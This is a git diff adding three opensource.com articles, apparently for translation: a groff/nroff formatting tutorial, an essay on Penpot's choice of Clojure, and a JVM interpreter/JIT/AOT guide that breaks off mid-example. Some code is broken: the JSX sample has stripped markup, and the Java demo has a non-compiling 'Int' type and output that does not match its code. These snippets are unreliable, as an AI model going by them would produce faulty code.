0000000000..2825c07f35 --- /dev/null +++ b/sources/tech/20220806 Old-school technical writing with groff.md @@ -0,0 +1,209 @@ +[#]: subject: "Old-school technical writing with groff" +[#]: via: "https://opensource.com/article/22/8/old-school-technical-writing-groff" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Old-school technical writing with groff +====== +Take a trip back in time to experience text formatting from a bygone era. + +![Compute like it's 1989][1] + +Image by: LSE Library. Modified by Opensource.com. CC BY-SA 4.0 + +One of my favorite stories about Unix is how it turned into a text processing system. Brian Kernighan [tells the story in his book][2] Unix: A History and a Memoir (chapter 3) but to summarize: The Unix team at Bell Labs ran the original Unix on a PDP-7 computer, but it was a tiny system and didn't have sufficient resources to support new work. So Ken Thompson and others lobbied to purchase a new PDP-11 computer. Management denied the request. Around the same time, the Patents department planned to buy a new computer platform to produce patent applications using proprietary document formatting software. The Unix group proposed that the Patents department instead buy a new PDP-11 for the Unix team, and the Unix team would create formatting software for them. + +That new formatting system was called `nroff`, short for "New Roff," an updated version of a text formatting program called Roff from a 1960s computer system. The name Roff came from the old expression, "I'll run off a document." + +### Basic formatting with nroff + +By default, `nroff`  collects words and fills paragraphs. When `nroff`  encounters a blank line, it starts a new paragraph. For example, start with this article's introduction, which is only a few paragraphs long: + +``` +$ cat intro +Old-school technical writing with groff +Jim Hall +  +One of my favorite stories about Unix is how it turned +into a text processing system. Brian Kernighan tells the +story in his book Unix: A History and a Memoir (chapter 3) +but to summarize: +The Unix team at Bell Labs ran the original Unix on +a PDP-7 computer, but it was a tiny system and didn't +have sufficient resources to support new work. So Ken +Thompson and others lobbied to purchase a new PDP-11 +computer. Management denied the request. Around the same +time, the Patents department planned to buy a new computer +platform to produce patent applications using proprietary +document formatting software. The Unix group proposed +that the Patents department instead buy a new PDP-11 for +the Unix team, and the Unix team would create formatting +software for them. +  +That new formatting system was called nroff, short for +"New Roff," an updated version of a text formatting program +called Roff from a 1960s computer system. The name Roff +came from the old expression, "I'll run off a document." +``` + +If you process this file with `nroff`, lines are "glued" together so the output is paragraphs with full justification. Using `nroff` also hyphenates words, if that helps balance lines in the text: + +``` +$ nroff intro | head +Old‐school technical writing with groff Jim Hall +  +One  of  my  favorite  stories about Unix is how it turned into a +text processing system. Brian Kernighan tells the  story  in  his +book  Unix:  A History and a Memoir (chapter 3) but to summarize: +The Unix team at Bell Labs ran the original Unix on a PDP‐7  com‐ +puter,  but  it  was a tiny system and didn’t have sufficient re‐ +sources to support new work. So Ken Thompson and  others  lobbied +to purchase a new PDP‐11 computer. Management denied the request. +Around the same time, the Patents department planned to buy a new +``` + +Original Unix systems used a typewriter-style printer that used 66 lines of 80 columns on a US Letter page, and `nroff` makes the same assumptions. It also adds empty lines so each page of output is 66 lines per page, but I've used the `head` command to show just the first few lines of output because my sample text isn't very long. + +### Breaking lines and centering text + +The first two lines were meant to be separate lines of text. You can insert a formatting instruction to tell `nroff` to add a line break. All `nroff` instructions start with a dot, followed by a brief command. To add a line break, use the `.br` instruction between the first and second line: + +``` +Old-school technical writing with groff +.br +Jim Hall +``` + +When you process this new file, `nroff` prints the title and author on separate lines: + +``` +$ nroff intro | head +Old‐school technical writing with groff +Jim Hall +  +One  of  my  favorite  stories about Unix is how it turned into a +text processing system. Brian Kernighan tells the  story  in  his +book  Unix:  A History and a Memoir (chapter 3) but to summarize: +The Unix team at Bell Labs ran the original Unix on a PDP‐7  com‐ +puter,  but  it  was a tiny system and didn’t have sufficient re‐ +sources to support new work. So Ken Thompson and  others  lobbied +to purchase a new PDP‐11 computer. Management denied the request. +``` + +You can add other formatting to make this document look better. To center the top two lines, use the `.ce` formatting request. This takes a number argument, to indicate how many lines `nroff` should center. Here, you can center the top two output lines with the `.ce 2` request: + +``` +.ce 2 +Old-school technical writing with groff +.br +Jim Hall +``` + +With this added instruction, `nroff`  correctly centers the first two lines: + +``` +$ nroff intro | head +             Old‐school technical writing with groff +                            Jim Hall +  +One  of  my  favorite  stories about Unix is how it turned into a +text processing system. Brian Kernighan tells the  story  in  his +book  Unix:  A History and a Memoir (chapter 3) but to summarize: +The Unix team at Bell Labs ran the original Unix on a PDP‐7  com‐ +puter,  but  it  was a tiny system and didn’t have sufficient re‐ +sources to support new work. So Ken Thompson and  others  lobbied +to purchase a new PDP‐11 computer. Management denied the request. +``` + +### Adding page margins + +Printing this to a printer results in text starting on the first line of the page, and against the left edge. To add a few lines of extra space from the top of the page, use the `.sp` request, with the number of blank lines to add: + +``` +.sp 5 +.ce 2 +Old-school technical writing with groff +.br +Jim Hall +``` + +By default, `nroff` formats the output so each line is 65 columns wide. Printing to an 80 column US Letter page leaves 15 empty columns. Adding 7 spaces on the left side neatly balances the output with equal left and right page margins. You can create this page offset using the `.po 7` request: + +``` +.po 7 +.sp 5 +.ce 2 +Old-school technical writing with groff +.br +Jim Hall +``` + +Processing the new file with `nroff` produces a plain text page that's ready to print: + +``` +$ nroff intro | head + + + + + + Old‐school technical writing with groff + Jim Hall + + One of my favorite stories about Unix is how it turned into a + text processing system. Brian Kernighan tells the story in his +``` + +### Printing to a laser printer + +Later, the Unix team at Bell Labs acquired a phototypesetting machine, capable of producing printed text similar to a laser printer. To support the typesetter's new capabilities, the Unix team updated `nroff` to become the typesetter-specific `troff` program, and a few years later updated it again to become `ditroff`, the device-independent version of `troff`. + +Linux systems provide modern versions of `nroff` and `troff` using the GNU `groff` program. You can still use the old `nroff` program name to generate plain text output, or `troff` to produce `ditroff` compatible output. Using the `groff` program, you can also prepare documents for other kinds of output files, such as Postscript. + +You can process the same input file using `groff` to print on a Postscript-compatible laser printer by selecting a suitable output type using the `-T` option, such as `-Tps` to generate a Postscript file. For example, I can print to a printer with the [lpr command][3] and the `HP_LaserJet_CP1525nw` device, because that's how my Linux system [recognizes my laser printer][4]: + +``` +$ groff -Tps intro | lpr -P "HP_LaserJet_CP1525nw" +``` + +### Generating other kinds of output + +If you instead want to save the output as a PDF file, you can convert the Postscript using the `ps2pdf` tool: + +``` +$ groff -Tps intro | ps2pdf - > intro.pdf +``` + +To generate a web page from the same file, use `-Thtml` to set the output type to HTML: + +``` +$ groff -Thtml intro > index.html +``` + +The `groff` command supports lots of other built-in formatting requests to provide other kinds of document formatting. If you want to learn the other default formatting requests available to you in the GNU `groff` implementations of `nroff` and `troff`, refer to chapter 5 in the [The GNU Troff Manual][5]. + +Formatting documents using these built-in commands takes a lot of effort to keep everything looking the same. Technical writers who use `groff` instead use a collection of formatting requests called *macros*, which provide their own commands to generate section headings, paragraphs, block quotes, footnotes, lists, and other useful document formatting. To learn more about one popular macro package, read [How to format academic papers on Linux with groff -me][6] on Opensource.com. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/old-school-technical-writing-groff + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/1980s-computer-yearbook.png +[2]: https://opensource.com/article/20/8/unix-history +[3]: https://opensource.com/article/21/9/print-files-linux +[4]: https://opensource.com/article/18/3/print-server-raspberry-pi +[5]: https://www.gnu.org/software/groff/manual/groff.html#gtroff-Reference +[6]: https://opensource.com/article/18/2/writing-academic-papers-groff-me diff --git a/sources/tech/20220807 Why we chose the Clojure programming language for Penpot.md b/sources/tech/20220807 Why we chose the Clojure programming language for Penpot.md new file mode 100644 index 0000000000..118fdcf967 --- /dev/null +++ b/sources/tech/20220807 Why we chose the Clojure programming language for Penpot.md @@ -0,0 +1,152 @@ +[#]: subject: "Why we chose the Clojure programming language for Penpot" +[#]: via: "https://opensource.com/article/22/7/why-we-chose-clojure-penpot" +[#]: author: "Andrey Antukh https://opensource.com/users/niwinz" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Why we chose the Clojure programming language for Penpot +====== +Though it is not a mainstream language, Clojure was the right language for Penpot to choose because of its key features: stability, backwards compatibility, and syntactic abstraction. + +![Person using a laptop][1] + +"Why Clojure?" is probably the question we've been asked the most at Penpot. We have a vague explanation on our FAQ page, so with this article, I'll explain the motivations and spirit behind our decision. + +It all started in a *PIWEEK*. Of course! + +During one of our [Personal Innovation Weeks (PIWEEK)][2] in 2015, a small team had the idea to create an open source prototyping tool. They started work immediately, and were able to release a working prototype after a week of hard work (and lots of fun). This was the first static prototype, without a backend. + +I was not part of the initial team, but there were many reasons to choose [ClojureScript][3] back then. Building a prototype in just a one-week hackathon isn't easy and ClojureScript certainly helped with that, but I think the most important reason it was chosen was because it's fun. It offered a functional paradigm (in the team, there was a lot of interest in functional languages). + +It also provided a fully interactive development environment. I’m not referring to post-compilation browser auto-refresh. I mean refreshing the code *at runtime* without doing a page refresh and without losing state! Technically, you could be developing a game, and change the behavior of the game while you are still playing it, just by touching a few lines in your editor. With ClojureScript (and Clojure) you don't need anything fancy. The language constructs are already designed with hot reload in mind from the ground up. + +![Image of the first version of UXBOX (Penpot's original concept) in 2016][4] + +I know, today (in 2022), you can also have something similar with React on plain JavaScript, and probably with other frameworks that I’m not familiar with. Then again, it's also probable that this capability support is limited and fragile, because of intrinsic limitations in the language, sealed modules, the lack of a proper REPL. + +### About REPL + +In other dynamic languages, like JavaScript, Python, [Groovy][5] (and so on), REPL features are added as an afterthought. As a result, they often have issues with hot reloading. The language patterns are fine in real code, but they aren't suitable in the REPL (for example, a `const` in JavaScript evaluates the same code twice in a REPL). + +These REPLs are usually used to test code snippets made for the REPL. In contrast, REPL usage in Clojure rarely involves typing or copying into the REPL directly, and it is much more common to evaluate small code snippets from the actual source files. These are frequently left in the code base as comment blocks, so you can use the snippets in the REPL again when you change the code in the future. + +In the Clojure REPL, you can develop an entire application without any limitations. The Clojure REPL doesn't behave differently from the compiler itself. You're able to do all kinds of runtime introspection and hot replacement of specific functions in any namespace in an already running application. In fact, it's not uncommon to find backend applications in a production environment exposing REPL on a local socket to be able to inspect the runtime and, when necessary, patch specific functions without even having to restart the service. + +### From prototype to the usable application + +After PIWEEK in 2015, Juan de la Cruz (a designer at Penpot, and the original author of the project idea) and I started working on the project in our spare time. We rewrote the entire project using all the lessons learned from the first prototype. At the beginning of 2017, we internally released what could be called the second functional prototype, this time with a backend. And the thing is, we were still using Clojure and ClojureScript! + +The initial reasons were still valid and relevant, but the motivation for such an important time investment reveals other reasons. It's a very long list, but I think the most important features of all were: stability, backwards compatibility, and syntactic abstraction (in the form of macros). + +![Image of the current Penpot interface][6] + +### Stability and backwards compatibility + +Stability and backwards compatibility are one of the most important goals of the Clojure language. There's usually not much of a rush to include all the trendy stuff into the language without having tested its real usefulness. It's not uncommon to see people running production on top of an alpha version of the Clojure compiler, because it's rare to have instability issues even on alpha releases. + +In Clojure or ClojureScript, if a library doesn't have commits for some time, it's most likely fine as is. It needs no further development. It works perfectly, and there's no use in changing something that functions as intended. Contrarily, in the JavaScript world, when you see a library that hasn't had commits in several months, you tend to get the feeling that the library is abandoned or unmaintained. + +There are numerous times when I've downloaded a JavaScript project that has not been touched in 6 months only to find that more than half of the code is already deprecated and unmaintained. On other occasions, it doesn’t even compile because some dependencies have not respected semantic versioning. + +This is why each dependency of [Penpot][7] is carefully chosen, with continuity, stability, and backwards compatibility in mind. Many of them have been developed in-house. We delegate to third party libraries only when they have proven to have the same properties, or when the effort to time ratio of doing it in-house wasn't worth it. + +I think a good summary is that we try to have the minimum necessary external dependencies. React is probably a good example of a big external dependency. Over time, it has shown that they have a real concern with backwards compatibility. Each major release incorporates changes gradually and with a clear path for migration, allowing for old and new code to coexist. + +### Syntactic abstractions + +Another reason I like Clojure is its clear syntactic abstractions (macros). It's one of those characteristics that, as a general rule, can be a double-edged sword. You must use it carefully and not abuse it. But with the complexity of Penpot as a project, having the ability to extract certain common or verbose constructs has helped us simplify the code. These statements cannot be generalized, and the possible value they provide must be seen on a case-by-case basis. Here are a couple of important instances that have made a significant difference for Penpot: + +* When we began building Penpot, React only had components as a class. But those components were modeled as functions and decorators in a [rumext library][8]. When React released versions with hooks that greatly enhanced the functional components, we only had to change the implementation of the macro and 90% of Penpot's components could be kept unmodified. Subsequently, we've gradually moved from decorators to hooks completely without the need for a laborious migration. This reinforces the same idea of the previous paragraphs: stability and backwards compatibility. +* The second most important case is the ease of using native language constructs (vectors and maps) to define the structure of the virtual DOM, instead of using a JSX-like custom DSL. Using those native language constructs would make a macro end up generating the corresponding calls to `React.createElement` at compile time, still leaving room for additional optimizations. Obviously, the fact that the language is expression-oriented makes it all more idiomatic. + +Here's a simple example in JavaScript, based on examples from React documentation: + +``` +function MyComponent({isAuth, options}) { +    let button; +    if (isAuth) { +        button = ; +    } else { +        button = ; +    } + +    return ( +       
+          {button} +         
    +            {Array(props.total).fill(1).map((el, i) => +             
  • {{item + i}}
  • +            )} +         
+       
+    ); +} +``` + +Here's the equivalent in ClojureScript: + +``` +(defn my-component [{:keys [auth? options]}] +  [:div +   (if auth? +     [:& logout-button {}] +     [:& login-button {}]) +   [:ul +    (for [[i item] (map-indexed vector options)] +      [:li {:key i} item])]]) +``` + +All these data structures used to represent the virtual DOM are converted into the appropriate `React.createElement` calls at compile time. + +The fact that Clojure is so data-oriented made using the same native data structures of the language to represent the virtual DOM a natural and logical process. Clojure is a dialect of [LISP][9], where the syntax and AST of the language use the same data structures and can be processed with the same mechanisms. + +For me, working with React through ClojureScript feels more natural than working with it in JavaScript. All the extra tools added to React to use it comfortably, such as JSX, immutable data structures, or tools to work with data transformations, and state handling, are just a part of the ClojureScript language. + +### Guest Language + +Finally, one of the fundamentals of Clojure and ClojureScript ​​is that they were built as *Guest Languages*. That is, they work on top of an existing platform or runtime. In this case, Clojure is built on top of the JVM and ClojureScript on top of JavaScript, which means that interoperability between the language and the runtime is very efficient. This allowed us to take advantage of the entire ecosystem of both Clojure plus everything that's done in Java (the same is true for ClojureScript and JavaScript). + +There are also pieces of code that are easier to write when they're written in imperative languages, like Java or JavaScript. Clojure can coexist with them in the same code base without any problems. + +There's also an ease of sharing code between frontend and backend, even though each one can be running in a completely different runtime (JavaScript and JVM). For Penpot, almost all the most important logic for managing a file's data is written in code and executed both in the frontend and in the backend. + +Perhaps you could say we have chosen what some people call a "boring" technology, but without it actually being boring at all. + +### Trade-offs + +Obviously, every decision has trade-offs. The choice to use Clojure and ClojureScript is not an exception. From a business perspective, the choice of Clojure could be seen as risky because it's not a mainstream language, it has a relatively small community compared to Java or JavaScript, and finding developers is inherently more complicated. + +But in my opinion, the learning curve is much lower than it might seem at first glance. Once you get rid of the *it's different* fear (or as I jokingly call it: *fear of the parentheses*), you start to gain fluency with the language very quickly. There are tons of learning resources, including books and training courses. + +The real obstacle I have noticed is the paradigm shift, rather than the language itself. With Penpot, the necessary and inherent complexity of the project makes the programming language the least of our problems when facing development: building a design platform is no small feat. + +*[This article originally appeared on the Kaleidos blog and has been republished with permission.][10]* + +Image by: (Andrey Antukh, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/why-we-chose-clojure-penpot + +作者:[Andrey Antukh][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/niwinz +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/laptop_screen_desk_work_chat_text.png +[2]: https://piweek.com/ +[3]: https://clojurescript.org/ +[4]: https://opensource.com/sites/default/files/2022-07/First%20version%20of%20UXBOX%20%28Penpot%E2%80%99s%20original%20concept%29%20in%202016.png +[5]: https://opensource.com/article/20/12/groovy +[6]: https://opensource.com/sites/default/files/2022-07/Current%20Penpot%20interface.png +[7]: https://github.com/penpot/penpot +[8]: https://github.com/funcool/rumext +[9]: https://opensource.com/article/21/5/learn-lisp +[10]: https://blog.kaleidos.net/penpot-chose-clojure-as-its-language-and-here-is-why/ diff --git a/sources/tech/20220809 A guide to JVM interpretation and compilation.md b/sources/tech/20220809 A guide to JVM interpretation and compilation.md new file mode 100644 index 0000000000..c74131c3bd --- /dev/null +++ b/sources/tech/20220809 A guide to JVM interpretation and compilation.md @@ -0,0 +1,506 @@ +[#]: subject: "A guide to JVM interpretation and compilation" +[#]: via: "https://opensource.com/article/22/8/interpret-compile-java" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A guide to JVM interpretation and compilation +====== +Use interpretation, just-in-time compilation, and ahead-of-time compilation efficiently by understanding the differences among them. + +Java is a platform-independent language. Programs are converted to *bytecode* after compilation. This bytecode gets converted to *machine code* at runtime. An interpreter emulates the execution of bytecode instructions for the abstract machine on a specific physical machine. Just-in-time (JIT) compilation happens at some point during execution, and ahead-of-time (AOT) compilation happens during build time. + +This article explains when an interpreter comes into play and when JIT and AOT will occur. I also discuss the trade-offs between JIT and AOT. + +### Source code, bytecode, machine code + +Applications are generally written using a programming language like C, C++, or Java. The set of instructions written using high-level programming languages is called source code. Source code is human readable. To execute it on the target machine, source code needs to be converted to machine code, which is machine readable. Source code is typically converted into machine code by a compiler. + +In Java, however, the source code is first converted into an intermediate form called *bytecode*. This bytecode is platform independent, which is why Java is well known as a platform-independent programming language. The primary Java compiler `javac` converts the Java source code into bytecode. Then, the bytecode is interpreted by the interpreter. + +Here is a small `Hello.java` program: + +``` +//Hello.java +public class Hello { +    public static void main(String[] args) { +         System.out.println("Inside Hello World!"); +    } +} +``` + +Compile it using `javac` to generate a `Hello.class` file containing the bytecode. + +``` +$ javac Hello.java +$ ls +Hello.class  Hello.java +``` + +Now, use `javap` to disassemble the content of the `Hello.class` file. The output of `javap` depends on the options used. If you don't choose any options, it prints basic information, including which source file this class file is compiled from, the package name, public and protected fields, and methods of the class. + +``` +$ javap Hello.class +Compiled from "Hello.java" +public class Hello { +  public Hello(); +  public static void main(java.lang.String[]); +} +``` + +To see the bytecode content in the `.class` file, use the `-c` option: + +``` +$ javap -c Hello.class +Compiled from "Hello.java" +public class Hello { +  public Hello(); +        Code: +           0: aload_0 +           1: invokespecial #1                      // Method java/lang/Object."":()V +           4: return + +  public static void main(java.lang.String[]); +        Code: +           0: getstatic         #2                      // Field java/lang/System.out:Ljava/io/PrintStream; +           3: ldc               #3                      // String Inside Hello World! +           5: invokevirtual #4                      // Method     +java/io/PrintStream.println:(Ljava/lang/String;)V +           8: return +} +``` + +To get more detailed information, use the `-v` option: + +``` +$ javap -v Hello.class +``` + +### Interpreter, JIT, AOT + +The interpreter is responsible for emulating the execution of bytecode instructions for the abstract machine on a specific physical machine. When compiling source code using `javac` and executing using the `java` command, the interpreter operates during runtime and serves its purpose. + +``` +$ javac Hello.java +$ java Hello +Inside Hello World! +``` + +The JIT compiler also operates at runtime. When the interpreter interprets a Java program, another component, called a runtime profiler, is silently monitoring the program's execution to observe which portion of the code is getting interpreted and how many times. These statistics help detect the *hotspots* of the program, that is, those portions of code frequently being interpreted. Once they're interpreted above a set threshold, they are eligible to be converted into machine code directly by the JIT compiler. The JIT compiler is also known as a profile-guided compiler. Conversion of bytecode to native code happens on the fly, hence the name just-in-time. JIT reduces overhead of the interpreter emulating the same set of instructions to machine code. + +The AOT compiler compiles code during build time. Generating frequently interpreted and JIT-compiled code at build time improves the warm-up time of the Java Virtual Machine (JVM). This compiler was introduced in Java 9 as an experimental feature. The `jaotc` tool uses the Graal compiler, which is itself written in Java, for AOT compilation. + +Here's a sample use case for a Hello program: + +``` +//Hello.java +public class Hello { +    public static void main(String[] args) { +        System.out.println("Inside Hello World!"); +    } +} + + +$ javac Hello.java +$ jaotc --output libHello.so Hello.class +$ java -XX:+UnlockExperimentalVMOptions -XX:AOTLibrary=./libHello.so Hello +Inside Hello World! +``` + +### When do interpreting and compiling come into play: an example + +This example illustrates when Java uses an interpreter and when JIT and AOT pitch in. Consider a simple Java program, `Demo.java` : + +``` +//Demo.java +public class Demo { + public int square(int i) throws Exception { + return(i*i); + } + + + public static void main(String[] args) throws Exception { + for (int i = 1; i <= 10; i++) { + System.out.println("call " + Integer.valueOf(i)); + long a = System.nanoTime(); + Int r = new Demo().square(i); + System.out.println("Square(i) = " + r); + long b = System.nanoTime(); + System.out.println("elapsed= " + (b-a)); + System.out.println("--------------------------------"); + } + } +} +``` + +This simple program has a `main` method that creates a `Demo` object instance, and calls the method `square`, which displays the square root of the `for` loop iteration value. Now, compile and run the code: + +``` +$ javac Demo.java +$ java Demo +1 iteration +Square(i) = 1 +Time taken= 8432439 +-------------------------------- +2 iteration +Square(i) = 4 +Time taken= 54631 +-------------------------------- +. +. +. +-------------------------------- +10 iteration +Square(i) = 100 +Time taken= 66498 +-------------------------------- +``` + +The question now is whether the output is a result of the interpreter, JIT, or AOT. In this case, it's wholly interpreted. How did I conclude that? Well, to get JIT to contribute to the compilation, the hotspots of the code must be interpreted above a defined threshold. Then and only then are those pieces of code queued for JIT compilation. To find the threshold for JDK 11: + +``` +$ java -XX:+PrintFlagsFinal -version | grep CompileThreshold + intx CompileThreshold     = 10000                                      {pd product} {default} +[...] +openjdk version "11.0.13" 2021-10-19 +OpenJDK Runtime Environment 18.9 (build 11.0.13+8) +OpenJDK 64-Bit Server VM 18.9 (build 11.0.13+8, mixed mode, sharing) +``` + +The above output demonstrates that a particular piece of code should be interpreted 10,000 times to be eligible for JIT compilation. Can this threshold be manually tuned, and is there some JVM flag that indicates whether a method is JIT compiled? Yes, there are multiple options to serve this purpose. + +One option for learning whether a method is JIT compiled is `-XX:+PrintCompilation`. Along with this option, the flag `-Xbatch` provides the output in a more readable way. If both interpretation and JIT are happening in parallel, the `-Xbatch` flag helps distinguish the output of both. Use these flags as follows: + +``` +$ java -Xbatch  -XX:+PrintCompilation  Demo +         34        1        b  3           java.util.concurrent.ConcurrentHashMap::tabAt (22 bytes) +         35        2         n 0           jdk.internal.misc.Unsafe::getObjectVolatile (native)    +         35        3        b  3           java.lang.Object:: (1 bytes) +[...] + 210  269         n 0           java.lang.reflect.Array::newArray (native)   (static) +        211  270        b  3           java.lang.String::substring (58 bytes) +[...] +-------------------------------- +10 iteration +Square(i) = 100 +Time taken= 50150 +-------------------------------- +``` + +The output of the above command is too lengthy, so I've truncated the middle portion. Note that along with the Demo program code, the JDKs internal class functions are also getting compiled. This is why the output is so lengthy. Because my focus is `Demo.java` code, I'll use an option that can minimize the output by excluding the internal package functions. The command -`XX:CompileCommandFile` disables JIT for internal classes: + +``` +$ java -Xbatch -XX:+PrintCompilation -XX:CompileCommandFile=hotspot_compiler Demo +``` + +The file `hotspot_compiler` referenced by `-XX:CompileCommandFile` contains this code to exclude specific packages: + +``` +$ cat hotspot_compiler +quiet +exclude java/* * +exclude jdk/* * +exclude sun/* * +``` + +In the first line, `quiet` instructs the JVM not to write anything about excluded classes. To tune the JIT threshold, use `-XX:CompileThreshold` with the value set to 5, meaning that after interpreting five times, it's time for JIT: + +``` +$ java -Xbatch -XX:+PrintCompilation -XX:CompileCommandFile=hotspot_compiler \ +-XX:CompileThreshold=5 Demo +        47      1       n 0     java.lang.invoke.MethodHandle::linkToStatic(LLLLLL)L (native)   +           (static) +        47      2       n 0     java.lang.invoke.MethodHandle::invokeBasic(LLLLL)L (native)   +        47      3       n 0     java.lang.invoke.MethodHandle::linkToSpecial(LLLLLLL)L (native)   +           (static) +        48      4       n 0     java.lang.invoke.MethodHandle::linkToStatic(L)I (native)   (static) +        48      5       n 0     java.lang.invoke.MethodHandle::invokeBasic()I (native)   +        48      6       n 0     java.lang.invoke.MethodHandle::linkToSpecial(LL)I (native)   +           (static) +[...] +        1 iteration +        69   40         n 0     java.lang.invoke.MethodHandle::linkToStatic(ILIIL)I (native)   +           (static) +[...] +Square(i) = 1 +        78   48         n 0     java.lang.invoke.MethodHandle::linkToStatic(ILIJL)I (native)   +(static) +        79   49         n 0     java.lang.invoke.MethodHandle::invokeBasic(ILIJ)I (native)   +[...] +        86   54         n 0     java.lang.invoke.MethodHandle::invokeBasic(J)L (native)   +        87   55         n 0     java.lang.invoke.MethodHandle::linkToSpecial(LJL)L (native)   +(static) +Time taken= 8962738 +-------------------------------- +2 iteration +Square(i) = 4 +Time taken= 26759 +-------------------------------- + +10 iteration +Square(i) = 100 +Time taken= 26492 +-------------------------------- +``` + +The output is still not different from interpreted output! This is because, as per Oracle's documentation, the `-XX:CompileThreshold` flag is effective only when `TieredCompilation` is disabled: + +``` +$ java -Xbatch -XX:+PrintCompilation -XX:CompileCommandFile=hotspot_compiler \ +-XX:-TieredCompilation -XX:CompileThreshold=5 Demo +124     1       n       java.lang.invoke.MethodHandle::linkToStatic(LLLLLL)L (native)   (static) +127     2       n       java.lang.invoke.MethodHandle::invokeBasic(LLLLL)L (native)   +[...] +1 iteration +        187   40        n       java.lang.invoke.MethodHandle::linkToStatic(ILIIL)I (native)   (static) +[...] +(native)   (static) +        212   54        n       java.lang.invoke.MethodHandle::invokeBasic(J)L (native)   +        212   55        n       java.lang.invoke.MethodHandle::linkToSpecial(LJL)L (native)   (static) +Time taken= 12337415 +[...] +-------------------------------- +4 iteration +Square(i) = 16 +Time taken= 37183 +-------------------------------- +5 iteration +        214   56        b       Demo:: (5 bytes) +        215   57        b       Demo::square (16 bytes) +Square(i) = 25 +Time taken= 983002 +-------------------------------- +6 iteration +Square(i) = 36 +Time taken= 81589 +[...] +10 iteration +Square(i) = 100 +Time taken= 52393 +``` + +This section of code is now JIT compiled after the fifth interpretation: + +``` +-------------------------------- +5 iteration +        214   56        b       Demo:: (5 bytes) +        215   57        b       Demo::square (16 bytes) +Square(i) = 25 +Time taken= 983002 +-------------------------------- +``` + +Along with the `square()` method, the constructor is also getting JIT compiled because there is a Demo instance inside the `for` loop before calling `square()`. Hence, it will also reach the threshold and be JIT compiled. This example illustrates when JIT comes into play after interpretation. + +To see the compiled version of the code, use the `-XX:+PrintAssembly flag`, which works only if there is a disassembler in the library path. For OpenJDK, use the `hsdis` disassembler. Download a suitable disassembler library— in this case, `hsdis-amd64.so` — and place it under `Java_HOME/lib/server`. Make sure to use `-XX:+UnlockDiagnosticVMOptions` before `-XX:+PrintAssembly`. Otherwise, JVM will give you a warning. + +The entire command is as follows: + +``` +$ java -Xbatch -XX:+PrintCompilation -XX:CompileCommandFile=hotspot_compiler \ -XX:-TieredCompilation -XX:CompileThreshold=5 -XX:+UnlockDiagnosticVMOptions \ -XX:+PrintAssembly Demo +[...] +5 iteration +        178   56        b       Demo:: (5 bytes) +Compiled method (c2)    178   56                Demo:: (5 bytes) + total in heap  [0x00007fd4d08dad10,0x00007fd4d08dafe0] = 720 + relocation     [0x00007fd4d08dae88,0x00007fd4d08daea0] = 24 +[...] + handler table  [0x00007fd4d08dafc8,0x00007fd4d08dafe0] = 24 +[...] + dependencies   [0x00007fd4d08db3c0,0x00007fd4d08db3c8] = 8 + handler table  [0x00007fd4d08db3c8,0x00007fd4d08db3f8] = 48 +---------------------------------------------------------------------- +Demo.square(I)I  [0x00007fd4d08db1c0, 0x00007fd4d08db2b8]  248 bytes +[Entry Point] +[Constants] +  # {method} {0x00007fd4b841f4b0} 'square' '(I)I' in 'Demo' +  # this:       rsi:rsi   = 'Demo' +  # parm0:      rdx     = int +  #             [sp+0x20]  (sp of caller) +[...] +[Stub Code] +  0x00007fd4d08db280: movabs $0x0,%rbx          ;   {no_reloc} +  0x00007fd4d08db28a: jmpq   0x00007fd4d08db28a  ;   {runtime_call} +  0x00007fd4d08db28f: movabs $0x0,%rbx          ;   {static_stub} +  0x00007fd4d08db299: jmpq   0x00007fd4d08db299  ;   {runtime_call} +[Exception Handler] +  0x00007fd4d08db29e: jmpq   0x00007fd4d08bb880  ;   {runtime_call ExceptionBlob} +[Deopt Handler Code] +  0x00007fd4d08db2a3: callq  0x00007fd4d08db2a8 +  0x00007fd4d08db2a8: subq   $0x5,(%rsp) +  0x00007fd4d08db2ad: jmpq   0x00007fd4d08a01a0  ;   {runtime_call DeoptimizationBlob} +  0x00007fd4d08db2b2: hlt     +  0x00007fd4d08db2b3: hlt     +  0x00007fd4d08db2b4: hlt     +  0x00007fd4d08db2b5: hlt     +  0x00007fd4d08db2b6: hlt     +  0x00007fd4d08db2b7: hlt     +ImmutableOopMap{rbp=NarrowOop }pc offsets: 96 +ImmutableOopMap{}pc offsets: 112 +ImmutableOopMap{rbp=Oop }pc offsets: 148 Square(i) = 25 +Time taken= 2567698 +-------------------------------- +6 iteration +Square(i) = 36 +Time taken= 76752 +[...] +-------------------------------- +10 iteration +Square(i) = 100 +Time taken= 52888 +``` + +The output is lengthy, so I've included only the output related to `Demo.java`. + +Now it's time for AOT compilation. This option was introduced in JDK9. AOT is a static compiler to generate the `.so` library. With AOT, the interested classes can be compiled to create an `.so` library that can be directly executed instead of interpreting or JIT compiling. If JVM doesn't find any AOT-compiled code, the usual interpretation and JIT compilation takes place. + +The command used for AOT compilation is as follows: + +``` +$ jaotc --output=libDemo.so Demo.class +``` + +To see the symbols in the shared library, use the following: + +``` +$ nm libDemo.so +``` + +To use the generated `.so` library, use `-XX:AOTLibrary` along with `-XX:+UnlockExperimentalVMOptions` as follows: + +``` +$ java -XX:+UnlockExperimentalVMOptions -XX:AOTLibrary=./libDemo.so Demo +1 iteration +Square(i) = 1 +Time taken= 7831139 +-------------------------------- +2 iteration +Square(i) = 4 